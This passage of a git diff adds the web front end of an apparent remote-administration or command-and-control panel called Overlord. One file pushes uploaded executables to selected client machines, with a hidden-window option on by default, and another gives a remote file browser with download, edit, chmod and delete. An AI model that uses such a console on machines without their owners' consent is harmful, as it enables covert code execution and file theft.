0000000..9973769 --- /dev/null +++ b/Overlord-Server/public/assets/deploy.js @@ -0,0 +1,541 @@ +const clientList = document.getElementById("client-list"); +const clientSearch = document.getElementById("client-search"); +const osFilter = document.getElementById("os-filter"); +const selectAllBtn = document.getElementById("select-all-btn"); +const clearSelectionBtn = document.getElementById("clear-selection-btn"); +const selectedCountSpan = document.getElementById("selected-count"); +const uploadZone = document.getElementById("upload-zone"); +const uploadInput = document.getElementById("upload-input"); +const uploadStatus = document.getElementById("upload-status"); +const osBadge = document.getElementById("os-badge"); +const execArgsInput = document.getElementById("exec-args"); +const hideWindowToggle = document.getElementById("hide-window-toggle"); +const executeBtn = document.getElementById("execute-btn"); +const updateBtn = document.getElementById("update-btn"); +const outputContainer = document.getElementById("output-container"); +const clearOutputBtn = document.getElementById("clear-output-btn"); + +let allClients = []; +let filteredClients = []; +const selectedClients = new Set(); +let uploaded = null; +let allowedOs = "unknown"; + +async function checkAuth() { + try { + const res = await fetch("/api/auth/me"); + if (!res.ok) { + window.location.href = "/login.html"; + return; + } + + const data = await res.json(); + document.getElementById("username-display").textContent = data.username; + + const roleBadge = document.getElementById("role-badge"); + const roleBadges = { + admin: 'Admin', + operator: 'Operator', + viewer: 'Viewer', + }; + if (roleBadges[data.role]) { + roleBadge.innerHTML = roleBadges[data.role]; + } else { + roleBadge.textContent = data.role || ""; + } + + if (data.role === "admin") { + roleBadge.classList.add( + "bg-purple-900/50", + "text-purple-300", + "border", + "border-purple-800", + ); + document.getElementById("metrics-link")?.classList.remove("hidden"); + document.getElementById("scripts-link")?.classList.remove("hidden"); + document.getElementById("build-link")?.classList.remove("hidden"); + document.getElementById("users-link")?.classList.remove("hidden"); + document.getElementById("plugins-link")?.classList.remove("hidden"); + document.getElementById("deploy-link")?.classList.remove("hidden"); + } else if (data.role === "operator") { + roleBadge.classList.add( + "bg-blue-900/50", + "text-blue-300", + "border", + "border-blue-800", + ); + } else { + roleBadge.classList.add( + "bg-slate-700", + "text-slate-300", + "border", + "border-slate-600", + ); + } + + if (data.role !== "admin") { + alert("Access denied. Admin role required."); + window.location.href = "/"; + } + } catch (err) { + console.error("Auth check failed:", err); + window.location.href = "/login.html"; + } +} + +async function loadClients() { + try { + const res = await fetch("/api/clients?pageSize=10000"); + if (!res.ok) throw new Error("Failed to load clients"); + + const data = await res.json(); + allClients = data.items.filter((c) => c.online); + + if (allClients.length === 0) { + clientList.innerHTML = + '
No online clients available
'; + return; + } + + const osList = new Set(allClients.map((c) => c.os || "unknown")); + osFilter.innerHTML = + '" + + Array.from(osList) + .sort() + .map((os) => { + const count = allClients.filter((c) => (c.os || "unknown") === os) + .length; + return ``; + }) + .join(""); + + filterAndRenderClients(); + preselectClientFromQuery(); + } catch (error) { + console.error("Failed to load clients:", error); + clientList.innerHTML = + '
Error loading clients
'; + } +} + +function preselectClientFromQuery() { + const params = new URLSearchParams(window.location.search); + const targetId = params.get("clientId"); + if (!targetId) return; + if (allClients.some((c) => c.id === targetId)) { + selectedClients.add(targetId); + renderClients(); + } +} + +function filterAndRenderClients() { + const searchTerm = clientSearch.value.toLowerCase(); + const osValue = osFilter.value; + + filteredClients = allClients.filter((c) => { + const matchesSearch = + !searchTerm || + (c.host && c.host.toLowerCase().includes(searchTerm)) || + c.id.toLowerCase().includes(searchTerm) || + (c.os && c.os.toLowerCase().includes(searchTerm)) || + (c.user && c.user.toLowerCase().includes(searchTerm)); + + const matchesOs = osValue === "all" || (c.os || "unknown") === osValue; + + const matchesUploadOs = matchesClientOs(c.os || "", allowedOs); + + return matchesSearch && matchesOs && matchesUploadOs; + }); + + renderClients(); +} + +function renderClients() { + if (filteredClients.length === 0) { + clientList.innerHTML = + '
No clients match your filters
'; + return; + } + + clientList.innerHTML = filteredClients + .map((c) => { + const name = c.host || c.id.substring(0, 8); + const os = c.os || "unknown"; + const isSelected = selectedClients.has(c.id); + + return ` + + `; + }) + .join(""); + + clientList.querySelectorAll(".client-checkbox").forEach((cb) => { + cb.addEventListener("change", handleClientToggle); + }); + + updateSelectedCount(); +} + +function handleClientToggle(e) { + const clientId = e.target.dataset.id; + if (e.target.checked) { + selectedClients.add(clientId); + } else { + selectedClients.delete(clientId); + } + updateSelectedCount(); +} + +function updateSelectedCount() { + selectedCountSpan.textContent = `${selectedClients.size} selected`; + executeBtn.disabled = selectedClients.size === 0 || !uploaded; + if (updateBtn) { + updateBtn.disabled = selectedClients.size === 0 || !uploaded; + } +} + +function normalizeClientOs(os) { + const val = String(os || "").toLowerCase(); + if (val.includes("windows")) return "windows"; + if (val.includes("darwin") || val.includes("mac")) return "mac"; + if (val.includes("linux")) return "linux"; + return "unknown"; +} + +function matchesClientOs(clientOs, targetOs) { + if (!targetOs || targetOs === "unknown") return true; + if (targetOs === "unix") { + const norm = normalizeClientOs(clientOs); + return norm === "linux" || norm === "mac"; + } + return normalizeClientOs(clientOs) === targetOs; +} + +function setUploadStatus(text, tone = "text-slate-400") { + uploadStatus.className = `mt-3 text-sm ${tone}`; + uploadStatus.textContent = text; +} + +function setOsBadge(os) { + const label = os === "unknown" ? "not detected" : os === "unix" ? "mac/linux" : os; + osBadge.textContent = `OS: ${label}`; + osBadge.classList.remove("border-emerald-600", "text-emerald-300", "border-amber-600", "text-amber-300"); + if (os === "unknown") return; + osBadge.classList.add("border-emerald-600", "text-emerald-300"); +} + +function formatBytes(bytes) { + const value = Number(bytes) || 0; + if (value < 1024) return `${value} B`; + if (value < 1024 * 1024) return `${(value / 1024).toFixed(1)} KB`; + if (value < 1024 * 1024 * 1024) return `${(value / 1024 / 1024).toFixed(2)} MB`; + return `${(value / 1024 / 1024 / 1024).toFixed(2)} GB`; +} + +function escapeHtml(text) { + const div = document.createElement("div"); + div.textContent = text; + return div.innerHTML; +} + +clientSearch.addEventListener("input", filterAndRenderClients); +osFilter.addEventListener("change", filterAndRenderClients); + +selectAllBtn.addEventListener("click", () => { + filteredClients.forEach((c) => selectedClients.add(c.id)); + renderClients(); +}); + +clearSelectionBtn.addEventListener("click", () => { + selectedClients.clear(); + renderClients(); +}); + +uploadZone.addEventListener("click", () => uploadInput.click()); +uploadZone.addEventListener("dragover", (event) => { + event.preventDefault(); + uploadZone.classList.add("border-cyan-500"); +}); +uploadZone.addEventListener("dragleave", () => { + uploadZone.classList.remove("border-cyan-500"); +}); +uploadZone.addEventListener("drop", async (event) => { + event.preventDefault(); + uploadZone.classList.remove("border-cyan-500"); + const file = event.dataTransfer?.files?.[0]; + if (file) { + await uploadFile(file); + } +}); +uploadInput.addEventListener("change", async (event) => { + const file = event.target.files?.[0]; + if (file) { + await uploadFile(file); + } +}); + +async function uploadFile(file) { + setUploadStatus(`Uploading ${file.name}...`, "text-blue-400"); + executeBtn.disabled = true; + + try { + const form = new FormData(); + form.append("file", file, file.name); + const res = await fetch("/api/deploy/upload", { + method: "POST", + body: form, + }); + + if (!res.ok) { + const text = await res.text(); + setUploadStatus(text || "Upload failed", "text-red-400"); + return; + } + + const data = await res.json(); + if (!data.ok) { + setUploadStatus(data.error || "Upload failed", "text-red-400"); + return; + } + + uploaded = data; + allowedOs = data.os || "unknown"; + const sizeBytes = Number(data.size ?? file.size ?? 0); + setUploadStatus(`Uploaded ${data.name} (${formatBytes(sizeBytes)})`, "text-emerald-400"); + setOsBadge(allowedOs); + + filterAndRenderClients(); + Array.from(selectedClients).forEach((clientId) => { + const client = allClients.find((c) => c.id === clientId); + if (!client || !matchesClientOs(client.os || "", allowedOs)) { + selectedClients.delete(clientId); + } + }); + renderClients(); + updateSelectedCount(); + } catch (error) { + console.error("Upload failed:", error); + setUploadStatus("Upload failed", "text-red-400"); + } +} + +executeBtn.addEventListener("click", async () => { + if (selectedClients.size === 0) { + alert("Please select at least one client"); + return; + } + + if (!uploaded?.uploadId) { + alert("Please upload an installer first"); + return; + } + + const args = execArgsInput.value.trim(); + const hideWindow = hideWindowToggle?.checked !== false; + + executeBtn.disabled = true; + const clientIds = Array.from(selectedClients); + outputContainer.innerHTML = `
Dispatching to ${clientIds.length} client(s)...
`; + + let results = []; + try { + const res = await fetch("/api/deploy/run", { + method: "POST", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ + uploadId: uploaded.uploadId, + clientIds, + args, + hideWindow, + }), + }); + + if (!res.ok) { + results = clientIds.map((clientId) => ({ + clientId, + error: `HTTP error! status: ${res.status}`, + })); + } else { + const data = await res.json(); + if (!data.ok) { + results = clientIds.map((clientId) => ({ + clientId, + error: data.error || "Unknown error", + })); + } else { + results = (data.results || []).map((result) => ({ + clientId: result.clientId, + ok: result.ok, + reason: result.reason, + command: result.command, + })); + } + } + } catch (error) { + results = clientIds.map((clientId) => ({ + clientId, + error: error.message, + })); + } + + const namedResults = results.map((r) => { + const client = allClients.find((c) => c.id === r.clientId); + const clientName = client + ? client.host || r.clientId.substring(0, 8) + : r.clientId.substring(0, 8); + if (r.error) { + return { clientName, clientId: r.clientId, error: r.error }; + } + if (r.ok === false) { + return { clientName, clientId: r.clientId, error: r.reason || "Dispatch failed" }; + } + return { clientName, clientId: r.clientId, output: "Queued", command: r.command }; + }); + + outputContainer.innerHTML = namedResults + .map((r) => { + if (r.error) { + return `
+
━━━ ${escapeHtml( + r.clientName, + )} (${escapeHtml(r.clientId.substring(0, 8))}) ━━━
+
Error: ${escapeHtml(r.error)}
+
`; + } + const commandLine = r.command + ? `
Command: ${escapeHtml(r.command)}
` + : ""; + return `
+
━━━ ${escapeHtml( + r.clientName, + )} (${escapeHtml(r.clientId.substring(0, 8))}) ━━━
+ ${commandLine} +
${escapeHtml(r.output)}
+
`; + }) + .join(""); + + executeBtn.disabled = false; +}); + +if (updateBtn) { + updateBtn.addEventListener("click", async () => { + if (selectedClients.size === 0) { + alert("Please select at least one client"); + return; + } + + if (!uploaded?.uploadId) { + alert("Please upload an installer first"); + return; + } + + if (!confirm("Replace the running agent on selected clients?")) { + return; + } + + updateBtn.disabled = true; + const clientIds = Array.from(selectedClients); + outputContainer.innerHTML = `
Dispatching update to ${clientIds.length} client(s)...
`; + + let results = []; + try { + const res = await fetch("/api/deploy/update", { + method: "POST", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ + uploadId: uploaded.uploadId, + clientIds, + }), + }); + + if (!res.ok) { + results = clientIds.map((clientId) => ({ + clientId, + error: `HTTP error! status: ${res.status}`, + })); + } else { + const data = await res.json(); + if (!data.ok) { + results = clientIds.map((clientId) => ({ + clientId, + error: data.error || "Unknown error", + })); + } else { + results = (data.results || []).map((result) => ({ + clientId: result.clientId, + ok: result.ok, + reason: result.reason, + })); + } + } + } catch (error) { + results = clientIds.map((clientId) => ({ + clientId, + error: error.message, + })); + } + + const namedResults = results.map((r) => { + const client = allClients.find((c) => c.id === r.clientId); + const clientName = client + ? client.host || r.clientId.substring(0, 8) + : r.clientId.substring(0, 8); + if (r.error) { + return { clientName, clientId: r.clientId, error: r.error }; + } + if (r.ok === false) { + return { clientName, clientId: r.clientId, error: r.reason || "Update failed" }; + } + return { clientName, clientId: r.clientId, output: "Update dispatched" }; + }); + + outputContainer.innerHTML = namedResults + .map((r) => { + if (r.error) { + return `
+
━━━ ${escapeHtml( + r.clientName, + )} (${escapeHtml(r.clientId.substring(0, 8))}) ━━━
+
Error: ${escapeHtml(r.error)}
+
`; + } + return `
+
━━━ ${escapeHtml( + r.clientName, + )} (${escapeHtml(r.clientId.substring(0, 8))}) ━━━
+
${escapeHtml(r.output)}
+
`; + }) + .join(""); + + updateBtn.disabled = false; + }); +} + +clearOutputBtn.addEventListener("click", () => { + outputContainer.innerHTML = + '
No commands dispatched yet.
'; +}); + +checkAuth(); +loadClients(); diff --git a/Overlord-Server/public/assets/filebrowser.js b/Overlord-Server/public/assets/filebrowser.js new file mode 100644 index 0000000..8569b83 --- /dev/null +++ b/Overlord-Server/public/assets/filebrowser.js @@ -0,0 +1,1917 @@ +import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; + +const clientId = window.location.pathname.split("/")[1]; +let ws = null; +let currentPath = ""; +let pathHistory = []; +let selectedFiles = new Set(); +let fileDownloads = new Map(); +let fileUploads = new Map(); +let fileUploadsById = new Map(); +let activeTransfers = new Map(); +let currentEditingFile = null; +let lastSuccessfulResponse = 0; +let pendingToast = null; +const recentToasts = new Map(); +const pendingCommandResults = new Map(); + +const statusEl = document.getElementById("status-indicator"); +const breadcrumbEl = document.getElementById("breadcrumb"); +const fileListEl = document.getElementById("file-list"); +const refreshBtn = document.getElementById("refresh-btn"); +const uploadBtn = document.getElementById("upload-btn"); +const mkdirBtn = document.getElementById("mkdir-btn"); +const searchBtn = document.getElementById("search-btn"); +const fileInput = document.getElementById("file-input"); +const contextMenu = document.getElementById("context-menu"); +const clientIdHeader = document.getElementById("client-id-header"); +const backBtn = document.getElementById("back-btn"); +const homeBtn = document.getElementById("home-btn"); +const pathInput = document.getElementById("path-input"); +const pathGoBtn = document.getElementById("path-go-btn"); +const transferPanel = document.getElementById("transfer-panel"); +const transferList = document.getElementById("transfer-list"); + +const searchBar = document.getElementById("search-bar"); +const searchInput = document.getElementById("search-input"); +const searchContentCheckbox = document.getElementById( + "search-content-checkbox", +); +const searchExecuteBtn = document.getElementById("search-execute-btn"); +const searchCloseBtn = document.getElementById("search-close-btn"); +const bulkActionsBar = document.getElementById("bulk-actions-bar"); +const selectedCountEl = document.getElementById("selected-count"); +const bulkDownloadBtn = document.getElementById("bulk-download-btn"); +const bulkDeleteBtn = document.getElementById("bulk-delete-btn"); +const bulkMoveBtn = document.getElementById("bulk-move-btn"); +const bulkCopyBtn = document.getElementById("bulk-copy-btn"); +const clearSelectionBtn = document.getElementById("clear-selection-btn"); +const fileEditorModal = document.getElementById("file-editor-modal"); +const editorTextarea = document.getElementById("editor-textarea"); +const editorFileName = document.getElementById("editor-file-name"); +const editorStatus = document.getElementById("editor-status"); +const editorSaveBtn = document.getElementById("editor-save-btn"); +const editorCancelBtn = document.getElementById("editor-cancel-btn"); +const editorCloseBtn = document.getElementById("editor-close-btn"); + +if (clientIdHeader) { + clientIdHeader.textContent = `${clientId} - File Browser`; +} + +function connect() { + const protocol = window.location.protocol === "https:" ? "wss:" : "ws:"; + const wsUrl = `${protocol}//${window.location.host}/api/clients/${clientId}/files/ws`; + + const socket = new WebSocket(wsUrl); + socket.binaryType = "arraybuffer"; + ws = socket; + + socket.onopen = () => { + console.log("File browser connected"); + updateStatus("connected", "Connected"); + enableControls(true); + listFiles(currentPath || ".", socket); + }; + + socket.onmessage = (event) => { + const msg = decodeMsgpack(event.data); + if (!msg) { + console.error("Failed to decode message"); + return; + } + handleMessage(msg); + }; + + socket.onerror = (err) => { + console.error("WebSocket error:", err); + updateStatus("error", "Connection Error"); + }; + + socket.onclose = () => { + console.log("File browser disconnected"); + updateStatus("disconnected", "Disconnected"); + enableControls(false); + if (ws === socket) { + setTimeout(() => connect(), 3000); + } + }; +} + +function updateStatus(state, text) { + const icons = { + connecting: '', + connected: '', + error: '', + disconnected: '', + }; + + statusEl.innerHTML = `${icons[state] || icons.disconnected} ${text}`; + statusEl.className = + state === "connected" + ? "inline-flex items-center gap-2 px-3 py-2 rounded-full bg-green-900/40 text-green-100 border border-green-700/60" + : "inline-flex items-center gap-2 px-3 py-2 rounded-full bg-slate-800 text-slate-300"; +} + +function enableControls(enabled) { + refreshBtn.disabled = !enabled; + uploadBtn.disabled = !enabled; + mkdirBtn.disabled = !enabled; +} + +function send(msg, socket = ws) { + if (socket && socket.readyState === WebSocket.OPEN) { + console.log( + "[DEBUG] Sending message:", + msg.type, + msg.commandType || "", + "to server", + ); + socket.send(encodeMsgpack(msg)); + } else { + console.error( + "[DEBUG] Cannot send - WebSocket not open. State:", + socket?.readyState, + ); + } +} + +function notifyToast(message, type = "info", duration = 4000) { + if (typeof window.showToast !== "function") return; + const key = `${type}:${message}`; + const now = Date.now(); + const last = recentToasts.get(key) || 0; + if (now - last < 1000) return; + recentToasts.set(key, now); + + if (document.visibilityState === "hidden") { + if (!pendingToast) { + pendingToast = { message, type, duration, count: 1 }; + } else { + pendingToast.message = message; + pendingToast.type = type; + pendingToast.duration = duration; + pendingToast.count += 1; + } + return; + } + + window.showToast(message, type, duration); +} + +function trackCommandResult(commandId, options = {}) { + if (!commandId) return; + const { + refreshOnSuccess = false, + successMessage = null, + errorPrefix = "Operation failed", + } = options; + pendingCommandResults.set(commandId, { + refreshOnSuccess, + successMessage, + errorPrefix, + }); +} + +document.addEventListener("visibilitychange", () => { + if (document.visibilityState !== "visible") return; + if (!pendingToast || typeof window.showToast !== "function") return; + const { message, type, duration, count } = pendingToast; + pendingToast = null; + const summary = count > 1 ? `${message} (+${count - 1} more)` : message; + window.showToast(summary, type, duration); +}); + +function handleMessage(msg) { + console.log("[DEBUG] Received message:", msg.type, msg); + + switch (msg.type) { + case "ready": + console.log("Session ready:", msg.sessionId); + break; + case "status": + console.log("[DEBUG] Status message:", msg); + if (msg.status === "offline") { + const recentlyActive = Date.now() - lastSuccessfulResponse < 10_000; + if (!recentlyActive) { + updateStatus("error", "Client Offline"); + enableControls(false); + } + } + break; + case "file_list_result": + handleFileList(msg); + break; + case "file_download": + handleFileDownload(msg); + break; + case "file_upload_result": + handleFileUploadResult(msg); + break; + case "file_read_result": + console.log("[DEBUG] Routing to handleFileReadResult"); + handleFileReadResult(msg); + break; + case "file_search_result": + handleFileSearchResult(msg); + break; + case "command_result": + console.log("[DEBUG] Command result:", msg); + handleCommandResult(msg); + break; + case "command_progress": + console.log("[DEBUG] Command progress:", msg); + handleCommandProgress(msg); + break; + default: + console.log("[DEBUG] Unknown message type:", msg.type, msg); + } +} + +function listFiles(path, socket = ws) { + if (currentPath && currentPath !== path) { + pathHistory.push(currentPath); + } + currentPath = path; + send({ type: "file_list", path }, socket); + updateBreadcrumb(path); + updatePathInput(path); + updateBackButton(); +} + +function updatePathInput(path) { + pathInput.value = path || "."; +} + +function updateBackButton() { + backBtn.disabled = pathHistory.length === 0; + backBtn.classList.toggle("opacity-50", pathHistory.length === 0); + backBtn.classList.toggle("cursor-not-allowed", pathHistory.length === 0); +} + +function goBack() { + if (pathHistory.length > 0) { + const previousPath = pathHistory.pop(); + currentPath = previousPath; + send({ type: "file_list", path: previousPath }); + updateBreadcrumb(previousPath); + updatePathInput(previousPath); + updateBackButton(); + } +} + +function goHome() { + pathHistory = []; + listFiles("."); +} + +function updateBreadcrumb(path) { + const parts = path.split(/[\/\\]/).filter((p) => p && p !== "."); + breadcrumbEl.innerHTML = ""; + + const root = document.createElement("span"); + root.className = "breadcrumb-item hover:text-blue-400 transition-colors"; + root.innerHTML = + ' Drives'; + root.onclick = () => listFiles("."); + breadcrumbEl.appendChild(root); + + if (!path || path === ".") { + return; + } + + let accumulated = ""; + parts.forEach((part, idx) => { + accumulated += (accumulated ? "/" : "") + part; + const pathSegment = accumulated; + + const separator = document.createElement("span"); + separator.className = "text-slate-600 mx-1"; + separator.innerHTML = ''; + breadcrumbEl.appendChild(separator); + + const crumb = document.createElement("span"); + crumb.className = "breadcrumb-item hover:text-blue-400 transition-colors"; + crumb.textContent = part; + crumb.onclick = () => listFiles(pathSegment); + breadcrumbEl.appendChild(crumb); + }); +} + +function handleFileList(msg) { + if (msg.error) { + fileListEl.innerHTML = `
${escapeHtml(msg.error)}
`; + return; + } + + lastSuccessfulResponse = Date.now(); + updateStatus("connected", "Connected"); + enableControls(true); + + currentPath = msg.path; + const entries = msg.entries || []; + + selectedFiles.clear(); + updateSelectionUI(); + + fileListEl.style.opacity = "0"; + fileListEl.style.transform = "translateX(20px)"; + + setTimeout(() => { + fileListEl.innerHTML = ""; + + const canGoUp = shouldShowParentDirectory(currentPath); + if (canGoUp) { + const parentPath = getParentPath(currentPath); + const parentRow = createParentRow(parentPath); + fileListEl.appendChild(parentRow); + } + + if (entries.length === 0 && !canGoUp) { + fileListEl.innerHTML = + '
Empty directory
'; + fileListEl.style.opacity = "1"; + fileListEl.style.transform = "translateX(0)"; + return; + } + + entries.sort((a, b) => { + if (a.isDir && !b.isDir) return -1; + if (!a.isDir && b.isDir) return 1; + return a.name.localeCompare(b.name); + }); + + entries.forEach((entry, index) => { + const row = createFileRow(entry); + row.style.animationDelay = `${index * 0.02}s`; + row.classList.add("card-animate"); + fileListEl.appendChild(row); + }); + + fileListEl.style.transition = + "opacity 0.3s ease-out, transform 0.3s ease-out"; + fileListEl.style.opacity = "1"; + fileListEl.style.transform = "translateX(0)"; + }, 150); +} + +function shouldShowParentDirectory(path) { + if (!path || path === ".") { + return false; + } + + return true; +} + +function getParentPath(path) { + const normalized = path.replace(/\\/g, "/"); + const parts = normalized.split("/").filter((p) => p); + + if (parts.length === 1 && parts[0].match(/^[A-Za-z]:$/)) { + return "."; + } + + if (parts.length <= 1) { + return "."; + } + + parts.pop(); + let parentPath = parts.join("/"); + + if (parentPath.match(/^[A-Za-z]:?$/)) { + return parentPath.replace(/^([A-Za-z]):?$/, "$1:\\"); + } + + return parentPath || "."; +} + +function createParentRow(parentPath) { + const row = document.createElement("div"); + row.className = + "file-item grid grid-cols-12 gap-3 px-4 py-3 border border-transparent cursor-pointer transition-colors hover:bg-slate-800/50"; + row.dataset.path = parentPath; + row.dataset.isDir = "true"; + + row.innerHTML = ` +
+ + .. + (parent directory) +
+
-
+
-
+
+ `; + + row.ondblclick = () => listFiles(parentPath); + row.onclick = () => listFiles(parentPath); + + return row; +} + +function createFileRow(entry) { + const row = document.createElement("div"); + row.className = + "file-item grid grid-cols-12 gap-3 px-4 py-3 border border-transparent cursor-pointer transition-colors"; + row.dataset.path = entry.path; + row.dataset.isDir = entry.isDir; + + const icon = entry.isDir + ? '' + : ''; + + const size = entry.isDir ? "-" : formatBytes(entry.size); + const modTime = new Date(entry.modTime * 1000).toLocaleString(); + + row.innerHTML = ` + +
+ ${icon} + ${escapeHtml(entry.name)} +
+
${size}
+
${modTime}
+
+ ${!entry.isDir ? '' : ""} + ${entry.isDir ? '' : ""} + +
+ `; + + const nameDiv = row.querySelector(".col-span-6"); + const mobileMetaDiv = document.createElement("div"); + mobileMetaDiv.className = "file-meta"; + mobileMetaDiv.innerHTML = `${size}${modTime}`; + nameDiv.appendChild(mobileMetaDiv); + + row.onclick = (e) => { + if (e.target.closest(".file-checkbox") || e.target.closest(".action-btn")) { + return; + } + + if (entry.isDir) { + listFiles(entry.path); + } else { + openFileInEditor(entry.path); + } + }; + + const checkbox = row.querySelector(".file-checkbox"); + checkbox.onclick = (e) => { + e.stopPropagation(); + }; + + checkbox.onchange = (e) => { + if (e.target.checked) { + selectedFiles.add(entry.path); + row.classList.add("selected"); + } else { + selectedFiles.delete(entry.path); + row.classList.remove("selected"); + } + updateSelectionUI(); + }; + + row.querySelectorAll(".action-btn").forEach((btn) => { + btn.onclick = (e) => { + e.stopPropagation(); + const action = btn.dataset.action; + handleFileAction(action, entry); + }; + }); + + row.oncontextmenu = (e) => { + e.preventDefault(); + showContextMenu(e.clientX, e.clientY, entry); + }; + + return row; +} + +function toggleSelection(row, path) { + const checkbox = row.querySelector(".file-checkbox"); + if (selectedFiles.has(path)) { + selectedFiles.delete(path); + row.classList.remove("selected"); + if (checkbox) checkbox.checked = false; + } else { + selectedFiles.add(path); + row.classList.add("selected"); + if (checkbox) checkbox.checked = true; + } + updateSelectionUI(); +} + +function handleFileAction(action, entry) { + switch (action) { + case "edit": + openFileInEditor(entry.path); + break; + case "download": + downloadFile(entry.path); + break; + case "zip": + zipAndDownload(entry.path); + break; + case "copy": + const copyDest = prompt("Copy to:", entry.path + "_copy"); + if (copyDest) { + const commandId = `copy-${Date.now()}`; + send({ + type: "command", + commandType: "file_copy", + id: commandId, + payload: { source: entry.path, dest: copyDest }, + }); + trackCommandResult(commandId, { + refreshOnSuccess: true, + successMessage: "Copy completed", + errorPrefix: "Copy failed", + }); + } + break; + case "move": + const moveDest = prompt("Move to:", entry.path); + if (moveDest) { + const commandId = `move-${Date.now()}`; + send({ + type: "command", + commandType: "file_move", + id: commandId, + payload: { source: entry.path, dest: moveDest }, + }); + trackCommandResult(commandId, { + refreshOnSuccess: true, + successMessage: "Move completed", + errorPrefix: "Move failed", + }); + } + break; + case "chmod": + const mode = prompt( + "Enter permissions (octal, e.g., 0755):", + entry.mode || "0644", + ); + if (mode) { + const commandId = `chmod-${Date.now()}`; + send({ + type: "command", + commandType: "file_chmod", + id: commandId, + payload: { path: entry.path, mode }, + }); + trackCommandResult(commandId, { + refreshOnSuccess: true, + successMessage: "Permissions updated", + errorPrefix: "Permissions update failed", + }); + } + break; + case "delete": + deleteFile(entry.path); + break; + } +} + +function downloadFile(path) { + console.log("Requesting download:", path); + const transferId = `download-${Date.now()}-${Math.random()}`; + const fileName = path.split(/[\/\\]/).pop(); + const abortController = new AbortController(); + + const transfer = { + id: transferId, + type: "download", + path, + fileName, + progress: 0, + total: 0, + received: 0, + receivedBytes: 0, + receivedOffsets: new Map(), + receivedChunks: new Set(), + chunkSize: 0, + expectedChunks: 0, + buffer: null, + chunks: [], + cancelled: false, + abortController, + source: "http", + expectedCommandId: null, + }; + + fileDownloads.set(path, transfer); + activeTransfers.set(transferId, transfer); + addTransferToUI(transfer); + + updateStatus("connected", `Downloading ${fileName}...`); + + (async () => { + try { + console.debug("[filebrowser] download request", { path, clientId }); + const requestRes = await fetch("/api/file/download/request", { + method: "POST", + headers: { "Content-Type": "application/json" }, + credentials: "include", + signal: abortController.signal, + body: JSON.stringify({ clientId, path }), + }); + + console.debug("[filebrowser] download request response", { + ok: requestRes.ok, + status: requestRes.status, + }); + + if (!requestRes.ok) { + const text = await requestRes.text(); + notifyToast(text || "Download failed", "error", 5000); + removeTransfer(transferId); + fileDownloads.delete(path); + updateStatus("connected", "Connected"); + return; + } + + const requestData = await requestRes.json(); + if (!requestData?.downloadId) { + notifyToast("Download failed", "error", 5000); + removeTransfer(transferId); + fileDownloads.delete(path); + updateStatus("connected", "Connected"); + return; + } + + console.debug("[filebrowser] download request accepted", { + downloadId: requestData.downloadId, + }); + + console.debug("[filebrowser] download stream start", { + downloadId: requestData.downloadId, + }); + + const res = await fetch("/api/file/download", { + method: "POST", + headers: { "Content-Type": "application/json" }, + credentials: "include", + signal: abortController.signal, + body: JSON.stringify({ downloadId: requestData.downloadId }), + }); + + console.debug("[filebrowser] download response", { + ok: res.ok, + status: res.status, + contentType: res.headers.get("Content-Type"), + contentLength: res.headers.get("Content-Length"), + }); + + if (!res.ok) { + const text = await res.text(); + notifyToast(text || "Download failed", "error", 5000); + removeTransfer(transferId); + fileDownloads.delete(path); + updateStatus("connected", "Connected"); + return; + } + + const total = Number(res.headers.get("Content-Length") || 0); + if (Number.isFinite(total) && total > 0) { + transfer.total = total; + } + + const chunks = []; + let received = 0; + let lastLoggedBytes = 0; + if (res.body) { + const reader = res.body.getReader(); + while (true) { + const { done, value } = await reader.read(); + if (done) break; + if (value) { + chunks.push(value); + received += value.length; + transfer.received = received; + if (received - lastLoggedBytes >= 5 * 1024 * 1024) { + lastLoggedBytes = received; + console.debug("[filebrowser] download stream", { + path, + received, + total: transfer.total, + }); + } + if (transfer.total > 0) { + transfer.progress = Math.round((received / transfer.total) * 100); + updateTransferProgress(transferId, transfer.progress, received, transfer.total); + } + } + if (transfer.cancelled) { + break; + } + } + } else { + console.warn("[filebrowser] download response missing body", { path }); + const blob = await res.blob(); + chunks.push(new Uint8Array(await blob.arrayBuffer())); + received = chunks[0]?.length || 0; + transfer.received = received; + } + + if (transfer.cancelled) { + removeTransfer(transferId); + fileDownloads.delete(path); + updateStatus("connected", "Connected"); + return; + } + + if (transfer.total === 0 && received > 0) { + transfer.progress = 100; + updateTransferProgress(transferId, transfer.progress, received, transfer.total); + } + + const blob = new Blob(chunks); + const url = URL.createObjectURL(blob); + const a = document.createElement("a"); + a.href = url; + a.download = fileName; + document.body.appendChild(a); + a.click(); + document.body.removeChild(a); + URL.revokeObjectURL(url); + + console.log("Download complete:", path, `${received} bytes`); + console.debug("[filebrowser] download complete", { + path, + received, + total: transfer.total, + chunks: chunks.length, + }); + removeTransfer(transferId); + fileDownloads.delete(path); + updateStatus("connected", "Connected"); + } catch (err) { + if (transfer.cancelled) return; + console.error("Download error:", err); + notifyToast(`Download failed: ${err.message || err}`, "error", 5000); + removeTransfer(transferId); + fileDownloads.delete(path); + updateStatus("connected", "Connected"); + } + })(); +} + +function handleFileDownload(msg) { + const toNumber = (value) => { + if (typeof value === "number" && Number.isFinite(value)) return value; + if (typeof value === "bigint") { + const asNumber = Number(value); + if (Number.isSafeInteger(asNumber)) return asNumber; + } + return null; + }; + + console.debug("[filebrowser] file_download", { + path: msg.path, + hasData: !!msg.data, + dataLen: msg.data?.length ?? null, + totalType: typeof msg.total, + total: msg.total, + chunkIndex: msg.chunkIndex, + chunksTotal: msg.chunksTotal, + offset: msg.offset, + error: msg.error || null, + }); + + if (msg.error) { + alert(`Download failed: ${msg.error}`); + const download = fileDownloads.get(msg.path); + if (download) { + removeTransfer(download.id); + fileDownloads.delete(msg.path); + } + return; + } + + let download = fileDownloads.get(msg.path); + if (!download) { + return; + } + + if (download.source === "http") { + return; + } + + if (download.expectedCommandId) { + if (!msg.commandId || msg.commandId !== download.expectedCommandId) { + console.debug("[filebrowser] ignoring unsolicited download", { + path: msg.path, + commandId: msg.commandId || null, + }); + return; + } + } + + if (download.cancelled) { + fileDownloads.delete(msg.path); + return; + } + + const total = toNumber(msg.total); + if (total && total > 0) { + if (!download.total) { + download.total = total; + console.debug("[filebrowser] download total set", { + path: msg.path, + total: download.total, + }); + } + if (download.total > 0 && !download.buffer) { + download.buffer = new Uint8Array(download.total); + download.receivedBytes = 0; + download.receivedOffsets = new Map(); + download.receivedChunks = new Set(); + download.chunkSize = 0; + download.expectedChunks 